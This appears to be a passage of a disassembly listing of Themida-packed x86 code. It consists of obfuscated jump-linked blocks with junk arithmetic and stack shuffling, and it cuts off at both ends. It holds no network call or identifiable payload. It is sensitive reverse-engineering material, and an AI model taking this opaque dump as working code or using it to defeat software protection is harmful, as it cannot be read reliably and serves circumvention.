		jmp	loc_564875
; ---------------------------------------------------------------------------


loc_5697A1:				; CODE XREF: sub_562ABA-3A66j
		mov	[esp+2Ah+var_2C+2], esi
		jmp	loc_560BDA
; ---------------------------------------------------------------------------


loc_5697A9:				; CODE XREF: sub_562ABA+FA99j
		mov	[esp+2Ah+var_2C+2], edx
		push	esp
		pop	edx
		jmp	loc_570A2F
; ---------------------------------------------------------------------------


loc_5697B3:				; CODE XREF: sub_562ABA-387Bj
		sub	eax, 1A457048h
		jmp	loc_567E65
; ---------------------------------------------------------------------------


loc_5697BD:				; CODE XREF: sub_562ABA+698Cj
		pop	eax
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		push	edx
		jmp	loc_5723E6
; ---------------------------------------------------------------------------


loc_5697D3:				; CODE XREF: sub_562ABA+A3A3j
		mov	ebx, esp
		jmp	loc_57151D
; ---------------------------------------------------------------------------


loc_5697DA:				; CODE XREF: sub_562ABA-26ECj
		mov	[esp-8+arg_4], ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	esp, 4
		mov	[esp+0], edx
		mov	edx, 3B816537h
		jmp	loc_572856
; ---------------------------------------------------------------------------


loc_5697F9:				; CODE XREF: sub_562ABA+2CD9j
		add	ecx, edi
		jmp	loc_562C30
; ---------------------------------------------------------------------------


loc_569800:				; CODE XREF: sub_562ABA+7583j
		add	esp, 4
		shl	ecx, 2
		add	ecx, 48840551h
		jmp	loc_564F84
; ---------------------------------------------------------------------------


loc_569814:				; CODE XREF: sub_562ABA+5486j
		mov	esi, [esp+0]
		add	esp, 4
		or	ecx, 631C7557h
		xor	ecx, 482C36AEh
		mov	esi, ecx
		pop	ecx
		push	esi
		not	[esp-6+arg_0+2]
		pop	esi
		or	esi, 799C4DC1h
		shl	esi, 3
		shl	esi, 2
		inc	esi
		add	esi, 0FD8A4A7Eh
		jmp	loc_563141
; ---------------------------------------------------------------------------


loc_569849:				; CODE XREF: sub_562ABA+487j
		xor	eax, esi
		pop	esi
		mov	ecx, eax
		pop	eax
		add	ecx, 0C2D5A558h
		xor	eax, ecx
		push	[esp+0Ch+var_C]
		pop	ecx
		add	esp, 4
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], ebp
		mov	ebp, 5CB05305h
		push	eax
		jmp	loc_56C149
; ---------------------------------------------------------------------------


loc_56987F:				; CODE XREF: sub_562ABA+4DE0j
		not	bl
		shl	bl, 5
		jmp	loc_569353
; ---------------------------------------------------------------------------


loc_569889:				; CODE XREF: sub_562ABA+B882j
		pop	esp
		mov	[esp-0Eh+arg_8+2], edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		jmp	loc_564E88
; ---------------------------------------------------------------------------


loc_56989A:				; CODE XREF: sub_562ABA+D357j
		pop	edi
		jmp	loc_56F695
; ---------------------------------------------------------------------------


loc_5698A0:				; CODE XREF: sub_562ABA+6F7Aj
		pop	edx
		pop	[esp-1Ah+arg_14+2]
		pop	esp
		jmp	loc_562D8D
; ---------------------------------------------------------------------------


loc_5698AA:				; CODE XREF: sub_562ABA+4A5Aj
		add	ebp, 0EC018626h
		jmp	loc_56219A
; ---------------------------------------------------------------------------


loc_5698B5:				; CODE XREF: sub_562ABA-46DFj
		pop	ebx
		push	ebp
		mov	ebp, 1A7533DCh
		sub	eax, ebp
		pop	ebp
		jmp	loc_56789F
; ---------------------------------------------------------------------------


loc_5698C4:				; CODE XREF: sub_562ABA+167j
		mov	edi, 47F95661h
		jmp	loc_566581
; ---------------------------------------------------------------------------


loc_5698CE:				; CODE XREF: sub_562ABA+54D9j
		mov	ebp, edi
		pop	edi
		push	ebp
		jmp	loc_56F2C8
; ---------------------------------------------------------------------------


loc_5698D7:				; CODE XREF: sub_562ABA+1EEAj
		push	ecx
		push	[esp-8+arg_8]
		pop	ecx
		pop	[esp-8+arg_4]
		jmp	loc_5717B6
; ---------------------------------------------------------------------------


loc_5698E5:				; DATA XREF: Themida_:0055DDD8o
		lodsd
		xor	eax, ebx
		sub	esp, 4
		mov	[esp-8+arg_4], esi
		push	eax
		mov	eax, 1AAE9FA2h
		mov	esi, eax
		jmp	loc_564B13
; ---------------------------------------------------------------------------


loc_5698FE:				; CODE XREF: sub_562ABA-33A3j
		push	[esp+0Ah+var_8+2]
		pop	eax
		pop	[esp+0Ah+var_C+2]
		jmp	loc_5728B0
; ---------------------------------------------------------------------------


loc_56990B:				; CODE XREF: sub_562ABA+FD97j
		push	[esp+6+var_8+2]
		pop	esi
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+0Ah+var_C+2]
		pop	esp
		add	ebx, 5F25452Dh
		push	dword ptr [eax]
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_56992F:				; CODE XREF: sub_562ABA+63F6j
		pop	eax
		and	esi, 661A41A8h
		add	esi, 15681A91h
		sub	esi, 3A99F6BAh
		add	edx, 25B47E1Ah
		sub	edx, esi
		sub	edx, 25B47E1Ah
		pop	esi
		push	6299h
		jmp	loc_56CB07
; ---------------------------------------------------------------------------


loc_56995B:				; CODE XREF: sub_55FCA5+4BBj
		pop	edx
		sub	esp, 4
		mov	[esp+0], edi
		jmp	loc_5710E4
; ---------------------------------------------------------------------------


loc_56996A:				; CODE XREF: sub_562ABA+AAE3j
		add	esp, 4
		pop	[esp+0Ah+var_C+2]
		pop	esp
		mov	[esp+2+var_4+2], ecx
		push	edx
		jmp	loc_57209E
; ---------------------------------------------------------------------------


loc_56997A:				; CODE XREF: sub_562ABA-477Aj
		push	edx
		mov	edx, esp
		jmp	loc_570A88
; ---------------------------------------------------------------------------


loc_569982:				; CODE XREF: sub_562ABA+93F0j
		sub	eax, 0AFEDF9BEh
		jmp	loc_55E809
; ---------------------------------------------------------------------------


loc_56998C:				; CODE XREF: sub_562ABA+9F52j
		push	ebp
		jmp	loc_570E83
; ---------------------------------------------------------------------------


loc_569992:				; CODE XREF: sub_562ABA-1544j
		mov	esi, [esp-16h+arg_10+2]
		push	5FDEh
		mov	[esp-12h+arg_C+2], edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_561E9B
; ---------------------------------------------------------------------------


loc_5699AA:				; CODE XREF: sub_562ABA+5B0Cj
		and	ecx, edx
		jmp	loc_5718CF
; ---------------------------------------------------------------------------


loc_5699B1:				; CODE XREF: sub_562ABA+7250j
		neg	esi
		sub	esi, 7F584D9Eh
		xor	ecx, esi
		pop	esi
		jmp	loc_56813A
; ---------------------------------------------------------------------------


loc_5699C1:				; CODE XREF: sub_562ABA+BA21j
		pop	ebx
		add	eax, 3B7A36E2h
		jmp	loc_5612FC
; ---------------------------------------------------------------------------


loc_5699CC:				; CODE XREF: sub_562ABA+9A67j
		push	3FCh
		mov	ecx, [esp+0]
		add	esp, 4
		push	esi
		jmp	loc_56E189
; ---------------------------------------------------------------------------


loc_5699DD:				; CODE XREF: sub_562ABA+284j
		push	624Eh
		mov	[esp+6+var_8+2], ecx
		jmp	loc_568769
; ---------------------------------------------------------------------------


loc_5699EA:				; CODE XREF: sub_562ABA+EABDj
		push	edi
		pop	ecx
		pop	edi
		jmp	loc_55FC9D
; ---------------------------------------------------------------------------


loc_5699F2:				; CODE XREF: sub_562ABA+7CC3j
		mov	ebp, 557A2150h
		shl	ebp, 1
		sub	ebp, 0AAF4429Ch
		add	eax, ebp
		pop	ebp
		add	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		push	5594h
		mov	[esp+0], edx
		push	ecx
		push	577Dh
		mov	[esp+6+var_8+2], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+6+var_8+2]
		jmp	loc_5670B4
; ---------------------------------------------------------------------------


loc_569A30:				; CODE XREF: sub_562ABA+DCE6j
		push	[esp+6+var_4+2]
		jmp	loc_5698A0
; ---------------------------------------------------------------------------


loc_569A39:				; CODE XREF: sub_562ABA+4AC4j
		push	1538h
		jmp	loc_56D9FA
; ---------------------------------------------------------------------------


loc_569A43:				; CODE XREF: sub_562ABA+3544j
		mov	ah, 1Ah
		add	dl, ah
		mov	ax, [esp+0]
		add	esp, 2
		xor	al, dl
		push	[esp+20h+var_22+2]
		mov	edx, [esp+0]
		add	esp, 4
		sub	esp, 4
		jmp	loc_560732
; ---------------------------------------------------------------------------


loc_569A64:				; CODE XREF: sub_562ABA+5C13j
		push	ecx
		mov	ecx, esp
		jmp	loc_56DB8D
; ---------------------------------------------------------------------------


loc_569A6C:				; CODE XREF: sub_562ABA+23F6j
		pop	eax
		push	edx
		jmp	loc_5670A9
; ---------------------------------------------------------------------------


loc_569A73:				; CODE XREF: sub_562ABA-3666j
		pop	ebp
		xor	ebp, 76D264DDh
		mov	eax, ebp
		mov	ebp, [esp+1Eh+var_1E]
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp+22h+var_22]
		xor	[esp+22h+var_22], esi
		xor	esi, [esp+22h+var_22]
		pop	esp
		mov	[esp+1Eh+var_1E], eax
		push	279Bh
		push	esp
		pop	[esp+26h+var_28+2]
		add	[esp+22h+var_22], 4
		push	[esp+22h+var_22]
		jmp	loc_5728CC
; ---------------------------------------------------------------------------


loc_569AB0:				; CODE XREF: sub_562ABA+940Cj
		or	eax, eax
		jz	loc_56880B
		push	dword ptr [edi+28h]
		push	[esp+2Ah+var_2C+2]
		push	dword ptr [esp+0]
		pop	eax
		sub	esp, 4
		jmp	loc_56260B
; ---------------------------------------------------------------------------


loc_569ACD:				; CODE XREF: sub_562ABA+576Aj
		mov	esi, edx
		jmp	loc_56AA32
; ---------------------------------------------------------------------------


loc_569AD4:				; CODE XREF: sub_562ABA+25EAj
		mov	eax, 64F713A1h
		xor	eax, 164603CFh
		jmp	loc_5712E3
; ---------------------------------------------------------------------------
		push	[esp+36h+var_36]
		mov	eax, [esp+3Ah+var_3A]
		push	edx
		jmp	loc_56E67F
; ---------------------------------------------------------------------------


loc_569AEF:				; CODE XREF: sub_562ABA+5044j
		xchg	ebp, [esp+0]
		jmp	loc_56001D
; ---------------------------------------------------------------------------


loc_569AF7:				; CODE XREF: sub_562ABA+609Aj
		add	esp, 4
		sub	cl, 7Ch
		push	eax
		jmp	loc_570255
; ---------------------------------------------------------------------------


loc_569B06:				; CODE XREF: sub_562ABA-A91j
		add	edx, edi
		push	edi
		mov	edi, 4B356671h
		add	edx, edi
		pop	edi
		mov	edi, [esp+0]
		add	esp, 4
		sub	esi, 4D06C82h
		sub	esi, edx
		add	esi, 4D06C82h
		pop	edx
		push	esi
		push	[esp+0Ah+var_8+2]
		pop	esi
		pop	[esp+0Ah+var_C+2]
		mov	esp, [esp+6+var_8+2]
		mov	[esp+6+var_8+2], edx
		push	32B0h
		jmp	loc_56D86C
; ---------------------------------------------------------------------------


loc_569B3F:				; CODE XREF: sub_55FCA5+318j
		mov	cl, 84h
		shr	cl, 7
		and	cl, 0F0h
		xor	cl, 4Ah
		sub	al, cl
		pop	ecx
		jmp	loc_562CC8
; ---------------------------------------------------------------------------


loc_569B52:				; CODE XREF: sub_562ABA+F5DFj
		add	ebp, 4
		jmp	loc_5634CD
; ---------------------------------------------------------------------------


loc_569B5D:				; CODE XREF: sub_562ABA+EFAj
		not	edi
		not	edi
		shl	edi, 4
		jmp	loc_5675BB
; ---------------------------------------------------------------------------


loc_569B69:				; CODE XREF: sub_562ABA-33D2j
		inc	ecx
		add	ecx, 462F61A5h
		add	ecx, 0A9CB5D52h
		mov	edx, ecx
		pop	ecx
		jmp	loc_56F03B
; ---------------------------------------------------------------------------


loc_569B7E:				; CODE XREF: sub_562ABA+582Cj
		pop	ecx
		push	1F81h
		mov	[esp+16h+var_16], ecx
		mov	ecx, esp
		jmp	loc_567347
; ---------------------------------------------------------------------------


loc_569B8E:				; CODE XREF: sub_562ABA+9E56j
		sub	edx, 0FFFFFFFFh
		jmp	loc_55F6B6
; ---------------------------------------------------------------------------


loc_569B96:				; DATA XREF: Themida_:0055DFA4o
		mov	ax, word ptr [esp+16h+var_16]
		jmp	loc_56F637
; ---------------------------------------------------------------------------


loc_569B9F:				; CODE XREF: sub_562ABA+1CCBj
		mov	esp, [esp+6+var_8+2]
		jmp	loc_5714E9
; ---------------------------------------------------------------------------


loc_569BA7:				; CODE XREF: sub_562ABA+4928j
		add	ebx, edi
		jmp	loc_56BEAF
; ---------------------------------------------------------------------------


loc_569BAE:				; CODE XREF: sub_562ABA+7BF7j
		mov	esp, [esp+10h+var_12+2]
		imul	cx
		push	small 0A0Bh
		jmp	loc_56D48C
; ---------------------------------------------------------------------------


loc_569BBD:				; CODE XREF: sub_562ABA-1E87j
		push	ebx
		mov	bl, 0DFh
		shl	bl, 7
		add	bl, 9Eh
		add	al, bl
		mov	ebx, [esp-8+arg_4]
		add	esp, 4
		mov	cx, word ptr [esp-0Ch+arg_8]
		jmp	loc_55F5B7
; ---------------------------------------------------------------------------


loc_569BD7:				; CODE XREF: sub_562ABA+3E00j
		add	esi, 92DE6E6Ch
		add	edx, esi
		jmp	loc_5651E3
; ---------------------------------------------------------------------------


loc_569BE4:				; CODE XREF: sub_562ABA+2F10j
		shr	bl, 6
		jmp	loc_56727F
; ---------------------------------------------------------------------------


loc_569BEC:				; CODE XREF: sub_562ABA+F7DCj
		push	[esp+4Eh+var_4E]
		jmp	loc_572BA2
; ---------------------------------------------------------------------------


loc_569BF4:				; CODE XREF: sub_562ABA+AD14j
		add	esp, 4
		movsx	ecx, ax
		push	1399h
		mov	[esp+52h+var_52], ecx
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_569C0A:				; CODE XREF: sub_562ABA-1533j
		add	ecx, ebp
		jmp	loc_561710
; ---------------------------------------------------------------------------


loc_569C11:				; CODE XREF: sub_562ABA+8FFAj
		add	ebx, 1F179120h
		mov	eax, ebx
		pop	ebx
		mov	edx, 48A0FB5h
		jmp	loc_56ADB3
; ---------------------------------------------------------------------------


loc_569C24:				; CODE XREF: sub_562ABA+1C1Aj
		xor	ebp, [esp+2Ah+var_2C+2]
		mov	esp, [esp+2Ah+var_2C+2]
		push	79D7h
		mov	[esp+0], ebx
		jmp	loc_56C9DE
; ---------------------------------------------------------------------------


loc_569C37:				; CODE XREF: sub_562ABA+598Bj
		pop	eax
		add	esp, 4
		xchg	ecx, [esp-12h+arg_C+2]
		pop	esp
		add	esi, eax
		push	edx
		push	edi
		jmp	loc_5634AC
; ---------------------------------------------------------------------------


loc_569C48:				; CODE XREF: sub_562ABA-1F9j
		push	ebx
		push	512Ch
		jmp	loc_5682B0
; ---------------------------------------------------------------------------


loc_569C53:				; CODE XREF: sub_562ABA+AC0Cj
		add	esp, 4
		pop	[esp+32h+var_32]
		mov	esp, [esp+0]
		mov	[esp+0], edx
		jmp	loc_5694F8
; ---------------------------------------------------------------------------


loc_569C64:				; CODE XREF: sub_562ABA+D38Ej
		sub	edx, ebp
		jmp	loc_56532B
; ---------------------------------------------------------------------------


loc_569C6B:				; CODE XREF: sub_562ABA+CF71j
		sub	esp, 4
		mov	[esp+32h+var_32], ebx
		mov	bl, dh
		mov	ch, bl
		pop	ebx
		mov	edx, [esp+0]
		jmp	loc_5688CB
; ---------------------------------------------------------------------------


loc_569C81:				; CODE XREF: sub_562ABA+12F3j
		add	esi, ebx
		pop	ebx
		push	edx
		jmp	loc_568D4F
; ---------------------------------------------------------------------------


loc_569C8A:				; CODE XREF: Themida_:00571F77j
		xchg	cx, si
		jmp	loc_570153
; ---------------------------------------------------------------------------


loc_569C92:				; CODE XREF: sub_562ABA+1715j
		xchg	eax, edi
		push	esi
		jmp	loc_560FE5
; ---------------------------------------------------------------------------


loc_569C99:				; CODE XREF: sub_562ABA+4D1Fj
		add	[esp+42h+var_42], 64E93BE0h
		pop	eax
		push	esi
		push	711Bh
		jmp	loc_57043D
; ---------------------------------------------------------------------------


loc_569CAC:				; CODE XREF: sub_562ABA+324Fj
		add	ebx, 4
		xchg	ebx, [esp+26h+var_28+2]
		pop	esp
		add	ebx, 4
		push	ebx
		push	[esp+26h+var_22]
		pop	ebx
		pop	[esp+26h+var_28+2]
		mov	esp, [esp+22h+var_22]
		dec	[esp+22h+var_22]
		pushf
		jmp	loc_560563
; ---------------------------------------------------------------------------


loc_569CCE:				; CODE XREF: sub_562ABA+924Bj
		push	[esp+26h+var_28+2]
		push	[esp+2Ah+var_2C+2]
		jmp	loc_56CBD6
; ---------------------------------------------------------------------------


loc_569CD9:				; CODE XREF: sub_562ABA-16FCj
		add	[esp-0Ch+arg_C], edx
		pop	edx
		pop	ebp
		jmp	loc_5657FD
; ---------------------------------------------------------------------------


loc_569CE4:				; CODE XREF: sub_562ABA+E91Cj
		mov	ebp, 55285FBFh
		add	ebp, 0FFFFFFFFh
		sub	ebp, 2C515437h
		jmp	sub_55EEB7
; ---------------------------------------------------------------------------


loc_569CF7:				; CODE XREF: sub_562ABA+11Aj
		mov	edx, [esp+12h+var_12]
		push	57A0h
		jmp	loc_55EB54
; ---------------------------------------------------------------------------


loc_569D04:				; CODE XREF: sub_562ABA+3F94j
		or	esi, 678B5B5Fh
		jmp	loc_5699B1
; ---------------------------------------------------------------------------


loc_569D0F:				; CODE XREF: sub_562ABA-20D4j
		sub	ebp, 4E875674h
		add	ebp, edx
		jmp	loc_569734
; ---------------------------------------------------------------------------


loc_569D1C:				; CODE XREF: Themida_:0056091Bj
		mov	edi, esp
		add	edi, 4
		push	esi
		jmp	loc_565493
; ---------------------------------------------------------------------------


loc_569D2A:				; CODE XREF: sub_562ABA+D019j
		mov	eax, ebp
		mov	ebp, [esp+2Ah+var_2C+2]
		jmp	loc_56C72D
; ---------------------------------------------------------------------------


loc_569D34:				; CODE XREF: sub_562ABA+C2D4j
		pop	cx
		or	bl, 8Ch
		jmp	loc_561D12
; ---------------------------------------------------------------------------


loc_569D3E:				; CODE XREF: sub_562ABA+F5B3j
		xchg	esi, [esp+28h+var_28]
		pop	esp
		push	ebp
		mov	ebp, 4
		jmp	loc_5637A2
; ---------------------------------------------------------------------------


loc_569D4D:				; CODE XREF: sub_562ABA+DCB5j
		add	edx, 4
		push	esi
		push	ebp
		mov	ebp, 3E735D2Ch
		push	edx
		jmp	loc_5627EA
; ---------------------------------------------------------------------------


loc_569D60:				; CODE XREF: sub_562ABA-2E96j
		push	7BC1h
		mov	[esp+12h+var_12], ebx
		jmp	loc_56A56F
; ---------------------------------------------------------------------------


loc_569D6D:				; CODE XREF: sub_562ABA-1E21j
		pop	ecx
		not	edx
		add	edx, 6AD00D09h
		sub	edx, 0AEDF54ECh
		add	ecx, edx
		jmp	loc_56505A
; ---------------------------------------------------------------------------


loc_569D83:				; CODE XREF: sub_562ABA+B3BCj
		mov	ebp, ebx
		jmp	loc_5615FC
; ---------------------------------------------------------------------------


loc_569D8A:				; CODE XREF: sub_562ABA+B848j
		add	esp, 4
		sub	ebx, 28EE40A0h
		jmp	loc_56F53B
; ---------------------------------------------------------------------------


loc_569D98:				; CODE XREF: sub_562ABA+8A86j
		xchg	edx, [esp-0Ah+arg_4+2]
		jmp	loc_565FAE
; ---------------------------------------------------------------------------


loc_569DA0:				; CODE XREF: sub_562ABA-32A7j
		pop	esi
		add	esp, 4
		mov	edi, [esp+1Eh+var_1E]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5686AA
; ---------------------------------------------------------------------------


loc_569DB8:				; CODE XREF: sub_562ABA+A0C0j
		add	bh, 0Ch
		add	bh, 98h
		xor	ch, bh
		jmp	loc_56A700
; ---------------------------------------------------------------------------


loc_569DC5:				; CODE XREF: sub_562ABA-8FBj
		pop	ecx
		sub	esp, 4
		mov	[esp+1Ch+var_1E+2], ebx
		jmp	loc_56D46D
; ---------------------------------------------------------------------------


loc_569DD4:				; CODE XREF: sub_562ABA+7670j
		push	edx
		mov	edx, esp
		push	0AEEh
		mov	[esp+0], esi
		mov	esi, 7BFC6778h
		shl	esi, 7
		push	ebp
		jmp	loc_56BB4A
; ---------------------------------------------------------------------------


loc_569DED:				; CODE XREF: sub_562ABA-DCEj
		add	esi, 1BC622Ch
		pop	ebx
		mov	edx, [esp+0Ah+var_C+2]
		add	esp, 4
		add	[esp+6+var_4+2], 754274B3h
		add	[esp+6+var_4+2], esi
		sub	[esp+6+var_4+2], 754274B3h
		jmp	loc_55F935
; ---------------------------------------------------------------------------


loc_569E16:				; CODE XREF: sub_562ABA+87C2j
		push	1645h
		mov	[esp+0Ah+var_C+2], ecx
		push	ebp
		mov	ebp, 1691071Ah
		mov	ecx, 1B973274h
		jmp	loc_56A026
; ---------------------------------------------------------------------------


loc_569E2E:				; CODE XREF: sub_562ABA+F507j
		mov	[esp+0], esp
		jmp	loc_56C7B1
; ---------------------------------------------------------------------------


loc_569E36:				; CODE XREF: sub_55FCA5+28Dj
		mov	eax, 4B6029E3h
		shl	eax, 1
		push	edx
		jmp	loc_55FA91
; ---------------------------------------------------------------------------


loc_569E43:				; CODE XREF: sub_562ABA+E8D6j
		add	dword ptr [esp+4], 45D044B1h
		push	[esp+12h+var_12]
		pop	ecx
		jmp	loc_56079A
; ---------------------------------------------------------------------------


loc_569E54:				; CODE XREF: sub_562ABA+3712j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_55FA7F
; ---------------------------------------------------------------------------


loc_569E67:				; CODE XREF: sub_562ABA+4E39j
		mov	[esp+1Ah+var_1A], ebp
		push	esp
		jmp	loc_571F6D
; ---------------------------------------------------------------------------


loc_569E70:				; CODE XREF: sub_562ABA-3B60j
		add	ebp, ecx
		pop	ecx
		jmp	loc_55E9DF
; ---------------------------------------------------------------------------


loc_569E78:				; CODE XREF: sub_562ABA+C40Bj
		inc	bl
		push	eax
		mov	al, 0ECh
		sub	bl, al
		jmp	loc_563DE1
; ---------------------------------------------------------------------------


loc_569E84:				; CODE XREF: sub_562ABA+B756j
		mov	esp, [esp+2Ah+var_2C+2]
		movzx	ax, byte ptr [eax]
		push	367Bh
		jmp	loc_5658D8
; ---------------------------------------------------------------------------


loc_569E95:				; CODE XREF: sub_562ABA-1471j
		pop	edx
		jmp	loc_56C2DA
; ---------------------------------------------------------------------------


loc_569E9B:				; CODE XREF: sub_562ABA+B9B5j
		push	eax
		push	esi
		push	6C156227h
		pop	esi
		xor	esi, 3A757B6Eh
		shr	esi, 1
		xor	esi, 7C4F45CBh
		push	esi
		sub	[esp-0Ah+arg_4+2], 14DF0493h
		pop	eax
		jmp	loc_56BF93
; ---------------------------------------------------------------------------


loc_569EBF:				; CODE XREF: sub_562ABA+557Dj
		push	edi
		jmp	loc_56F7DA
; ---------------------------------------------------------------------------


loc_569EC5:				; CODE XREF: sub_562ABA-30C8j
		mov	[esp+6+var_8+2], ecx
		mov	ecx, 11C621A1h
		sub	edi, ecx
		pop	ecx
		not	edi
		add	edi, 6F5298DBh
		jmp	loc_5721A6
; ---------------------------------------------------------------------------


loc_569EDD:				; CODE XREF: sub_562ABA+D1FAj
		add	ecx, eax
		pop	eax
		add	edx, ecx
		mov	ecx, [esp+0]
		add	esp, 4
		neg	edx
		add	edx, 874E715Dh
		jmp	sub_561E53
; ---------------------------------------------------------------------------


loc_569EF5:				; CODE XREF: sub_562ABA+61F1j
		not	ah
		add	ah, 88h
		jmp	loc_572990
; ---------------------------------------------------------------------------


loc_569EFF:				; CODE XREF: sub_562ABA+2A5Bj
		xchg	ebx, ebp
		add	ebx, 0FFFFFFFFh
		push	ebp
		sub	esp, 4
		mov	[esp+5Eh+var_5E], ebx
		pop	ebp
		pop	ebx
		not	ebp
		add	ebp, 1
		jmp	loc_5720EC
; ---------------------------------------------------------------------------


loc_569F20:				; CODE XREF: sub_562ABA+E194j
		pop	ebp
		jmp	loc_5719FC
; ---------------------------------------------------------------------------


loc_569F26:				; CODE XREF: sub_562ABA+4A43j
		mov	esi, esp
		add	esi, 4
		sub	esi, 2
		jmp	loc_55ED22
; ---------------------------------------------------------------------------


loc_569F36:				; CODE XREF: sub_562ABA+179j
		push	7314h
		mov	[esp+0], eax
		mov	eax, 503D7A0Ah
		sub	ecx, eax
		pop	eax
		jmp	loc_5637E2
; ---------------------------------------------------------------------------


loc_569F4B:				; CODE XREF: sub_562ABA+3B6Aj
		pop	ebx
		push	eax
		mov	eax, 4240690Bh
		jmp	loc_561BCD
; ---------------------------------------------------------------------------


loc_569F57:				; CODE XREF: sub_562ABA+99D8j
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+1Ah+var_1A]
		pop	esp
		mov	[esp+16h+var_16], ebp
		push	[esp+16h+var_12]
		jmp	loc_55FFA0
; ---------------------------------------------------------------------------


loc_569F73:				; CODE XREF: sub_562ABA-6D2j
		pop	ecx
		push	edi
		jmp	loc_56C9C0
; ---------------------------------------------------------------------------


loc_569F7A:				; CODE XREF: sub_562ABA-36A7j
		mov	ebp, 72437393h
		xor	ebp, 72437397h
		jmp	loc_56F1E7
; ---------------------------------------------------------------------------


loc_569F8A:				; CODE XREF: sub_562ABA+E592j
		sub	ah, 2Ch
		xor	bl, ah
		pop	eax
		jmp	loc_56C5DB
; ---------------------------------------------------------------------------


loc_569F95:				; CODE XREF: sub_562ABA+E6ABj
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+22h+var_22]
		pop	esp
		mov	[esp+1Eh+var_1E], esi
		push	462Ch
		mov	[esp+22h+var_22], ebx
		mov	esi, [esp+22h+var_22]
		add	esp, 4
		mov	eax, esi
		mov	esi, [esp+1Eh+var_1E]
		push	0F6Eh
		mov	[esp+22h+var_22], esi
		mov	esi, esp
		add	esi, 4
		push	ebp
		jmp	loc_562AC2
; ---------------------------------------------------------------------------


loc_569FCE:				; CODE XREF: sub_562ABA+3C01j
		mov	[esp-6+arg_0+2], eax
		jmp	loc_56F6D6
; ---------------------------------------------------------------------------


loc_569FD6:				; CODE XREF: sub_562ABA+C027j
		add	esp, 4
		sub	edx, edi
		sub	edx, 5B2F0581h
		pop	edi
		jmp	loc_568B1E
; ---------------------------------------------------------------------------


loc_569FEA:				; CODE XREF: sub_55FCA5+3B6j
		pop	esp
		sub	esp, 4
		mov	[esp-0Eh+arg_8+2], ecx
		push	5C4Bh
		push	685Dh
		mov	[esp-6+arg_0+2], esp
		add	[esp-6+arg_0+2], 4
		pop	[esp-6+arg_0+2]
		push	ebp
		mov	ebp, 4
		add	[esp-6+arg_4+2], ebp
		pop	ebp
		push	[esp-0Ah+arg_4+2]
		jmp	loc_55FF71
; ---------------------------------------------------------------------------


loc_56A01E:				; CODE XREF: sub_562ABA+D79Ej
		mov	al, cl
		pop	ecx
		jmp	loc_56D250
; ---------------------------------------------------------------------------


loc_56A026:				; CODE XREF: sub_562ABA+736Fj
		xor	ecx, ebp
		pop	ebp
		shl	ecx, 5
		push	eax
		mov	eax, 24F1178Bh
		add	ecx, eax
		push	dword ptr [esp+0]
		mov	eax, [esp+12h+var_12]
		add	esp, 4
		jmp	loc_569800
; ---------------------------------------------------------------------------


loc_56A042:				; CODE XREF: sub_562ABA+FE21j
		push	38AE0AA8h
		pop	eax
		jmp	loc_55F22C
; ---------------------------------------------------------------------------


loc_56A04D:				; CODE XREF: sub_562ABA+7EEFj
		push	ecx
		mov	ecx, edx
		mov	eax, ecx
		pop	ecx
		jmp	loc_5673FE
; ---------------------------------------------------------------------------


loc_56A058:				; CODE XREF: sub_562ABA+2878j
		xor	ecx, edx
		mov	edx, [esp+22h+var_22]
		add	esp, 4
		push	4C8Fh
		mov	[esp+22h+var_22], eax
		push	ebx
		push	6F8C250Ah
		jmp	loc_56522B
; ---------------------------------------------------------------------------


loc_56A073:				; CODE XREF: sub_562ABA+918Fj
		sub	ecx, 0FC780D4Dh
		sub	ebx, ecx
		pop	ecx
		xchg	ebx, [esp+26h+var_28+2]
		jmp	loc_56BE44
; ---------------------------------------------------------------------------


loc_56A084:				; CODE XREF: sub_562ABA+EA2Aj
		pop	ecx
		add	esp, 4
		and	eax, edi
		push	[esp+1Eh+var_1E]
		jmp	loc_560132
; ---------------------------------------------------------------------------


loc_56A095:				; CODE XREF: sub_562ABA+B90Cj
		mov	eax, 5A861F2Dh
		or	esi, eax
		jmp	loc_55F677
; ---------------------------------------------------------------------------


loc_56A0A1:				; CODE XREF: sub_562ABA-19DDj
		pop	ecx
		xor	esi, [esp+26h+var_28+2]
		xor	[esp+26h+var_28+2], esi
		xor	esi, [esp+26h+var_28+2]
		pop	esp
		push	5A19h
		jmp	loc_56943A
; ---------------------------------------------------------------------------


loc_56A0B6:				; CODE XREF: Themida_:00562056j
		push	5C30h
		mov	[esp+2Ah+var_2C+2], eax
		sub	esp, 4
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		mov	eax, [esp+0]
		add	esp, 4
		push	esi
		mov	esi, 58281796h
		sub	esp, 4
		mov	[esp+32h+var_32], ebx
		mov	ebx, 58281792h
		xor	esi, ebx
		pop	ebx
		sub	eax, 6D3809E2h
		sub	eax, 211E69A7h
		add	eax, esi
		add	eax, 211E69A7h
		push	1F34h
		mov	[esp+32h+var_32], esi
		push	eax
		push	edi
		jmp	loc_564B64
; ---------------------------------------------------------------------------


loc_56A108:				; CODE XREF: sub_562ABA+94EBj
		shr	ebp, 6
		xor	ebp, 994731h
		push	ecx
		mov	ecx, ebp
		sub	esp, 4
		mov	[esp+42h+var_42], ecx
		push	edx
		mov	edx, 576C5C41h
		sub	[esp+46h+var_42], edx
		jmp	loc_56E58F
; ---------------------------------------------------------------------------


loc_56A129:				; CODE XREF: sub_562ABA+85Aj
		pop	eax
		jmp	loc_569DD4
; ---------------------------------------------------------------------------


loc_56A12F:				; CODE XREF: sub_562ABA+16DCj
		push	dword ptr [esp+0]
